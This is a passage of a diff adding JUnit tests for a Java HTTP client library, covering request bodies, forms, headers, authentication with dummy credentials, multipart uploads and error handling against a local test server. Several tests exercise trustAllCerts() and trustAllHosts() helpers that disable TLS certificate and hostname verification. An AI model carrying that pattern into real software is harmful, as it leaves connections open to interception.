+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Make a POST request with a non-empty request body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postNonEmptyByteArray() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    byte[] bytes = "hello".getBytes(CHARSET_UTF8);
+    int code = post(url).contentLength(Integer.toString(bytes.length))
+        .send(bytes).code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Make a post with an explicit set of the content length
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postWithLength() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    final AtomicReference<Integer> length = new AtomicReference<Integer>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        length.set(request.getContentLength());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    String data = "hello";
+    int sent = data.getBytes().length;
+    int code = post(url).contentLength(sent).send(data).code();
+    assertEquals(HTTP_OK, code);
+    assertEquals(sent, length.get().intValue());
+    assertEquals(data, body.get());
+  }
+
+  /**
+   * Make a post of form data
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postForm() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    final AtomicReference<String> contentType = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        contentType.set(request.getContentType());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    Map<String, String> data = new LinkedHashMap<String, String>();
+    data.put("name", "user");
+    data.put("number", "100");
+    int code = post(url).form(data).form("zip", "12345").code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("name=user&number=100&zip=12345", body.get());
+    assertEquals("application/x-www-form-urlencoded; charset=UTF-8",
+        contentType.get());
+  }
+
+  /**
+   * Make a post of form data
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postFormWithNoCharset() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    final AtomicReference<String> contentType = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        contentType.set(request.getContentType());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    Map<String, String> data = new LinkedHashMap<String, String>();
+    data.put("name", "user");
+    data.put("number", "100");
+    int code = post(url).form(data, null).form("zip", "12345").code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("name=user&number=100&zip=12345", body.get());
+    assertEquals("application/x-www-form-urlencoded", contentType.get());
+  }
+
+  /**
+   * Make a post with an empty form data map
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postEmptyForm() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    int code = post(url).form(new HashMap<String, String>()).code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("", body.get());
+  }
+
+  /**
+   * Make a post in chunked mode
+   *
+   * @throws Exception
+   */
+  @Test
+  public void chunkPost() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    final AtomicReference<String> encoding = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+        encoding.set(request.getHeader("Transfer-Encoding"));
+      }
+    };
+    String data = "hello";
+    int code = post(url).chunk(2).send(data).code();
+    assertEquals(HTTP_OK, code);
+    assertEquals(data, body.get());
+    assertEquals("chunked", encoding.get());
+  }
+
+  /**
+   * Make a GET request for a non-empty response body
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getNonEmptyString() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        write("hello");
+      }
+    };
+    HttpRequest request = get(url);
+    assertEquals(HTTP_OK, request.code());
+    assertEquals("hello", request.body());
+    assertEquals("hello".getBytes().length, request.contentLength());
+    assertFalse(request.isBodyEmpty());
+  }
+
+  /**
+   * Make a GET request with a response that includes a charset parameter
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getWithResponseCharset() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setContentType("text/html; charset=UTF-8");
+      }
+    };
+    HttpRequest request = get(url);
+    assertEquals(HTTP_OK, request.code());
+    assertEquals(CHARSET_UTF8, request.charset());
+  }
+
+  /**
+   * Make a GET request with a response that includes a charset parameter
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getWithResponseCharsetAsSecondParam() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setContentType("text/html; param1=val1; charset=UTF-8");
+      }
+    };
+    HttpRequest request = get(url);
+    assertEquals(HTTP_OK, request.code());
+    assertEquals(CHARSET_UTF8, request.charset());
+  }
+
+  /**
+   * Make a GET request with basic authentication specified
+   *
+   * @throws Exception
+   */
+  @Test
+  public void basicAuthentication() throws Exception {
+    final AtomicReference<String> user = new AtomicReference<String>();
+    final AtomicReference<String> password = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        String auth = request.getHeader("Authorization");
+        auth = auth.substring(auth.indexOf(' ') + 1);
+        try {
+          auth = B64Code.decode(auth, CHARSET_UTF8);
+        } catch (UnsupportedEncodingException e) {
+          throw new RuntimeException(e);
+        }
+        int colon = auth.indexOf(':');
+        user.set(auth.substring(0, colon));
+        password.set(auth.substring(colon + 1));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertTrue(get(url).basic("user", "p4ssw0rd").ok());
+    assertEquals("user", user.get());
+    assertEquals("p4ssw0rd", password.get());
+  }
+
+  /**
+   * Make a GET request with basic proxy authentication specified
+   *
+   * @throws Exception
+   */
+  @Test
+  public void basicProxyAuthentication() throws Exception {
+    final AtomicBoolean finalHostReached = new AtomicBoolean(false);
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        finalHostReached.set(true);
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertTrue(get(url).useProxy("localhost", proxyPort).proxyBasic("user", "p4ssw0rd").ok());
+    assertEquals("user", proxyUser.get());
+    assertEquals("p4ssw0rd", proxyPassword.get());
+    assertEquals(true, finalHostReached.get());
+    assertEquals(1, proxyHitCount.get());
+  }
+
+  /**
+   * Make a GET and get response as a input stream reader
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getReader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        write("hello");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    BufferedReader reader = new BufferedReader(request.reader());
+    assertEquals("hello", reader.readLine());
+    reader.close();
+  }
+
+  /**
+   * Make a POST and send request using a writer
+   *
+   * @throws Exception
+   */
+  @Test
+  public void sendWithWriter() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    HttpRequest request = post(url);
+    request.writer().append("hello").close();
+    assertTrue(request.ok());
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Make a GET and get response as a buffered reader
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getBufferedReader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        write("hello");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    BufferedReader reader = request.bufferedReader();
+    assertEquals("hello", reader.readLine());
+    reader.close();
+  }
+
+  /**
+   * Make a GET and get response as a input stream reader
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getReaderWithCharset() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        write("hello");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    BufferedReader reader = new BufferedReader(request.reader(CHARSET_UTF8));
+    assertEquals("hello", reader.readLine());
+    reader.close();
+  }
+
+  /**
+   * Make a GET and get response body as byte array
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getBytes() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        write("hello");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertTrue(Arrays.equals("hello".getBytes(), request.bytes()));
+  }
+
+  /**
+   * Make a GET request that returns an error string
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getError() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HttpServletResponse.SC_NOT_FOUND);
+        write("error");
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.notFound());
+    assertEquals("error", request.body());
+  }
+
+  /**
+   * Make a GET request that returns an empty error string
+   *
+   * @throws Exception
+   */
+  @Test
+  public void noError() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+    HttpRequest request = get(url);
+    assertTrue(request.ok());
+    assertEquals("", request.body());
+  }
+
+  /**
+   * Verify 'Server' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void serverHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("Server", "aserver");
+      }
+    };
+    assertEquals("aserver", get(url).server());
+  }
+
+  /**
+   * Verify 'Expires' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void expiresHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setDateHeader("Expires", 1234000);
+      }
+    };
+    assertEquals(1234000, get(url).expires());
+  }
+
+  /**
+   * Verify 'Last-Modified' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void lastModifiedHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setDateHeader("Last-Modified", 555000);
+      }
+    };
+    assertEquals(555000, get(url).lastModified());
+  }
+
+  /**
+   * Verify 'Date' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void dateHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setDateHeader("Date", 66000);
+      }
+    };
+    assertEquals(66000, get(url).date());
+  }
+
+  /**
+   * Verify 'ETag' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void eTagHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("ETag", "abcd");
+      }
+    };
+    assertEquals("abcd", get(url).eTag());
+  }
+
+  /**
+   * Verify 'Location' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void locationHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("Location", "http://nowhere");
+      }
+    };
+    assertEquals("http://nowhere", get(url).location());
+  }
+
+  /**
+   * Verify 'Content-Encoding' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void contentEncodingHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("Content-Encoding", "gzip");
+      }
+    };
+    assertEquals("gzip", get(url).contentEncoding());
+  }
+
+  /**
+   * Verify 'Content-Type' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void contentTypeHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("Content-Type", "text/html");
+      }
+    };
+    assertEquals("text/html", get(url).contentType());
+  }
+
+  /**
+   * Verify 'Content-Type' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void requestContentType() throws Exception {
+    final AtomicReference<String> contentType = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        contentType.set(request.getContentType());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertTrue(post(url).contentType("text/html", "UTF-8").ok());
+    assertEquals("text/html; charset=UTF-8", contentType.get());
+  }
+
+  /**
+   * Verify 'Content-Type' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void requestContentTypeNullCharset() throws Exception {
+    final AtomicReference<String> contentType = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        contentType.set(request.getContentType());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertTrue(post(url).contentType("text/html", null).ok());
+    assertEquals("text/html", contentType.get());
+  }
+
+  /**
+   * Verify 'Content-Type' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void requestContentTypeEmptyCharset() throws Exception {
+    final AtomicReference<String> contentType = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        contentType.set(request.getContentType());
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertTrue(post(url).contentType("text/html", "").ok());
+    assertEquals("text/html", contentType.get());
+  }
+
+  /**
+   * Verify 'Cache-Control' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void cacheControlHeader() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("Cache-Control", "no-cache");
+      }
+    };
+    assertEquals("no-cache", get(url).cacheControl());
+  }
+
+  /**
+   * Verify setting headers
+   *
+   * @throws Exception
+   */
+  @Test
+  public void headers() throws Exception {
+    final AtomicReference<String> h1 = new AtomicReference<String>();
+    final AtomicReference<String> h2 = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        h1.set(request.getHeader("h1"));
+        h2.set(request.getHeader("h2"));
+      }
+    };
+    Map<String, String> headers = new HashMap<String, String>();
+    headers.put("h1", "v1");
+    headers.put("h2", "v2");
+    assertTrue(get(url).headers(headers).ok());
+    assertEquals("v1", h1.get());
+    assertEquals("v2", h2.get());
+  }
+
+  /**
+   * Verify setting headers
+   *
+   * @throws Exception
+   */
+  @Test
+  public void emptyHeaders() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertTrue(get(url).headers(Collections.<String, String> emptyMap()).ok());
+  }
+
+  /**
+   * Verify getting all headers
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getAllHeaders() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        response.setHeader("a", "a");
+        response.setHeader("b", "b");
+        response.addHeader("a", "another");
+      }
+    };
+    Map<String, List<String>> headers = get(url).headers();
+    assertEquals(headers.size(), 5);
+    assertEquals(headers.get("a").size(), 2);
+    assertTrue(headers.get("b").get(0).equals("b"));
+  }
+
+  /**
+   * Verify setting number header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void numberHeader() throws Exception {
+    final AtomicReference<String> h1 = new AtomicReference<String>();
+    final AtomicReference<String> h2 = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        h1.set(request.getHeader("h1"));
+        h2.set(request.getHeader("h2"));
+      }
+    };
+    assertTrue(get(url).header("h1", 5).header("h2", (Number) null).ok());
+    assertEquals("5", h1.get());
+    assertEquals("", h2.get());
+  }
+
+  /**
+   * Verify 'User-Agent' request header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void userAgentHeader() throws Exception {
+    final AtomicReference<String> header = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        header.set(request.getHeader("User-Agent"));
+      }
+    };
+    assertTrue(get(url).userAgent("browser 1.0").ok());
+    assertEquals("browser 1.0", header.get());
+  }
+
+  /**
+   * Verify 'Accept' request header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void acceptHeader() throws Exception {
+    final AtomicReference<String> header = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        header.set(request.getHeader("Accept"));
+      }
+    };
+    assertTrue(get(url).accept("application/json").ok());
+    assertEquals("application/json", header.get());
+  }
+
+  /**
+   * Verify 'Accept' request header when calling
+   * {@link HttpRequest#acceptJson()}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void acceptJson() throws Exception {
+    final AtomicReference<String> header = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        header.set(request.getHeader("Accept"));
+      }
+    };
+    assertTrue(get(url).acceptJson().ok());
+    assertEquals("application/json", header.get());
+  }
+
+  /**
+   * Verify 'If-None-Match' request header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void ifNoneMatchHeader() throws Exception {
+    final AtomicReference<String> header = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        header.set(request.getHeader("If-None-Match"));
+      }
+    };
+    assertTrue(get(url).ifNoneMatch("eid").ok());
+    assertEquals("eid", header.get());
+  }
+
+  /**
+   * Verify 'Accept-Charset' request header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void acceptCharsetHeader() throws Exception {
+    final AtomicReference<String> header = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        header.set(request.getHeader("Accept-Charset"));
+      }
+    };
+    assertTrue(get(url).acceptCharset(CHARSET_UTF8).ok());
+    assertEquals(CHARSET_UTF8, header.get());
+  }
+
+  /**
+   * Verify 'Accept-Encoding' request header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void acceptEncodingHeader() throws Exception {
+    final AtomicReference<String> header = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        header.set(request.getHeader("Accept-Encoding"));
+      }
+    };
+    assertTrue(get(url).acceptEncoding("compress").ok());
+    assertEquals("compress", header.get());
+  }
+
+  /**
+   * Verify 'If-Modified-Since' request header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void ifModifiedSinceHeader() throws Exception {
+    final AtomicLong header = new AtomicLong();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        header.set(request.getDateHeader("If-Modified-Since"));
+      }
+    };
+    assertTrue(get(url).ifModifiedSince(5000).ok());
+    assertEquals(5000, header.get());
+  }
+
+  /**
+   * Verify 'Referer' header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void refererHeader() throws Exception {
+    final AtomicReference<String> referer = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        referer.set(request.getHeader("Referer"));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    assertTrue(post(url).referer("http://heroku.com").ok());
+    assertEquals("http://heroku.com", referer.get());
+  }
+
+  /**
+   * Verify multipart with file, stream, number, and string parameters
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postMultipart() throws Exception {
+    final StringBuilder body = new StringBuilder();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        char[] buffer = new char[8192];
+        int read;
+        try {
+          while ((read = request.getReader().read(buffer)) != -1)
+            body.append(buffer, 0, read);
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    File file = File.createTempFile("body", ".txt");
+    File file2 = File.createTempFile("body", ".txt");
+    new FileWriter(file).append("content1").close();
+    new FileWriter(file2).append("content4").close();
+    HttpRequest request = post(url);
+    request.part("description", "content2");
+    request.part("size", file.length());
+    request.part("body", file.getName(), file);
+    request.part("file", file2);
+    request.part("stream", new ByteArrayInputStream("content3".getBytes()));
+    assertTrue(request.ok());
+    assertTrue(body.toString().contains("content1\r\n"));
+    assertTrue(body.toString().contains("content2\r\n"));
+    assertTrue(body.toString().contains("content3\r\n"));
+    assertTrue(body.toString().contains("content4\r\n"));
+    assertTrue(body.toString().contains(Long.toString(file.length()) + "\r\n"));
+  }
+
+  /**
+   * Verify multipart with content type part header
+   *
+   * @throws Exception
+   */
+  @Test
+  public void postMultipartWithContentType() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        body.set(new String(read()));
+      }
+    };
+    HttpRequest request = post(url);
+    request.part("body", null, "application/json", "contents");
+    assertTrue(request.ok());
+    assertTrue(body.toString().contains("Content-Type: application/json"));
+    assertTrue(body.toString().contains("contents\r\n"));
+  }
+
+  /**
+   * Verify response in {@link Appendable}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void receiveAppendable() throws Exception {
+    final StringBuilder body = new StringBuilder();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("content");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    assertTrue(post(url).receive(body).ok());
+    assertEquals("content", body.toString());
+  }
+
+  /**
+   * Verify response in {@link Writer}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void receiveWriter() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("content");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    StringWriter writer = new StringWriter();
+    assertTrue(post(url).receive(writer).ok());
+    assertEquals("content", writer.toString());
+  }
+
+  /**
+   * Verify response via a {@link PrintStream}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void receivePrintStream() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("content");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    ByteArrayOutputStream output = new ByteArrayOutputStream();
+    PrintStream stream = new PrintStream(output, true, CHARSET_UTF8);
+    assertTrue(post(url).receive(stream).ok());
+    stream.close();
+    assertEquals("content", output.toString(CHARSET_UTF8));
+  }
+
+  /**
+   * Verify response in {@link File}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void receiveFile() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("content");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    File output = File.createTempFile("output", ".txt");
+    assertTrue(post(url).receive(output).ok());
+    StringBuilder buffer = new StringBuilder();
+    BufferedReader reader = new BufferedReader(new FileReader(output));
+    int read;
+    while ((read = reader.read()) != -1)
+      buffer.append((char) read);
+    reader.close();
+    assertEquals("content", buffer.toString());
+  }
+
+  /**
+   * Verify certificate and host helpers on HTTPS connection
+   *
+   * @throws Exception
+   */
+  @Test
+  public void httpsTrust() throws Exception {
+    assertNotNull(get("https://localhost").trustAllCerts().trustAllHosts());
+  }
+
+  /**
+   * Verify certificate and host helpers ignore non-HTTPS connection
+   *
+   * @throws Exception
+   */
+  @Test
+  public void httpTrust() throws Exception {
+    assertNotNull(get("http://localhost").trustAllCerts().trustAllHosts());
+  }
+
+  /**
+   * Verify hostname verifier is set and accepts all
+   */
+  @Test
+  public void verifierAccepts() {
+    HttpRequest request = get("https://localhost");
+    HttpsURLConnection connection = (HttpsURLConnection) request
+        .getConnection();
+    request.trustAllHosts();
+    assertNotNull(connection.getHostnameVerifier());
+    assertTrue(connection.getHostnameVerifier().verify(null, null));
+  }
+
+  /**
+   * Verify single hostname verifier is created across all calls
+   */
+  @Test
+  public void singleVerifier() {
+    HttpRequest request1 = get("https://localhost").trustAllHosts();
+    HttpRequest request2 = get("https://localhost").trustAllHosts();
+    assertNotNull(((HttpsURLConnection) request1.getConnection())
+        .getHostnameVerifier());
+    assertNotNull(((HttpsURLConnection) request2.getConnection())
+        .getHostnameVerifier());
+    assertEquals(
+        ((HttpsURLConnection) request1.getConnection()).getHostnameVerifier(),
+        ((HttpsURLConnection) request2.getConnection()).getHostnameVerifier());
+  }
+
+  /**
+   * Verify single SSL socket factory is created across all calls
+   */
+  @Test
+  public void singleSslSocketFactory() {
+    HttpRequest request1 = get("https://localhost").trustAllCerts();
+    HttpRequest request2 = get("https://localhost").trustAllCerts();
+    assertNotNull(((HttpsURLConnection) request1.getConnection())
+        .getSSLSocketFactory());
+    assertNotNull(((HttpsURLConnection) request2.getConnection())
+        .getSSLSocketFactory());
+    assertEquals(
+        ((HttpsURLConnection) request1.getConnection()).getSSLSocketFactory(),
+        ((HttpsURLConnection) request2.getConnection()).getSSLSocketFactory());
+  }
+
+  /**
+   * Send a stream that throws an exception when read from
+   *
+   * @throws Exception
+   */
+  @Test
+  public void sendErrorReadStream() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("content");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    final IOException readCause = new IOException();
+    final IOException closeCause = new IOException();
+    InputStream stream = new InputStream() {
+
+      public int read() throws IOException {
+        throw readCause;
+      }
+
+      public void close() throws IOException {
+        throw closeCause;
+      }
+    };
+    try {
+      post(url).send(stream);
+      fail("Exception not thrown");
+    } catch (HttpRequestException e) {
+      assertEquals(readCause, e.getCause());
+    }
+  }
+
+  /**
+   * Send a stream that throws an exception when read from
+   *
+   * @throws Exception
+   */
+  @Test
+  public void sendErrorCloseStream() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("content");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    final IOException closeCause = new IOException();
+    InputStream stream = new InputStream() {
+
+      public int read() throws IOException {
+        return -1;
+      }
+
+      public void close() throws IOException {
+        throw closeCause;
+      }
+    };
+    try {
+      post(url).ignoreCloseExceptions(false).send(stream);
+      fail("Exception not thrown");
+    } catch (HttpRequestException e) {
+      assertEquals(closeCause, e.getCause());
+    }
+  }
+
+  /**
+   * Make a GET request and get the code using an {@link AtomicInteger}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getToOutputCode() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+    AtomicInteger code = new AtomicInteger(0);
+    get(url).code(code);
+    assertEquals(HTTP_OK, code.get());
+  }
+
+  /**
+   * Make a GET request and get the body using an {@link AtomicReference}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getToOutputBody() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("hello world");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    AtomicReference<String> body = new AtomicReference<String>(null);
+    get(url).body(body);
+    assertEquals("hello world", body.get());
+  }
+
+  /**
+   * Make a GET request and get the body using an {@link AtomicReference}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getToOutputBodyWithCharset() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("hello world");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    AtomicReference<String> body = new AtomicReference<String>(null);
+    get(url).body(body, CHARSET_UTF8);
+    assertEquals("hello world", body.get());
+  }
+
+
+  /**
+   * Make a GET request that should be compressed
+   *
+   * @throws Exception
+   */
+  @Test
+  public void getGzipped() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        if (!"gzip".equals(request.getHeader("Accept-Encoding")))
+          return;
+
+        response.setHeader("Content-Encoding", "gzip");
+        GZIPOutputStream output;
+        try {
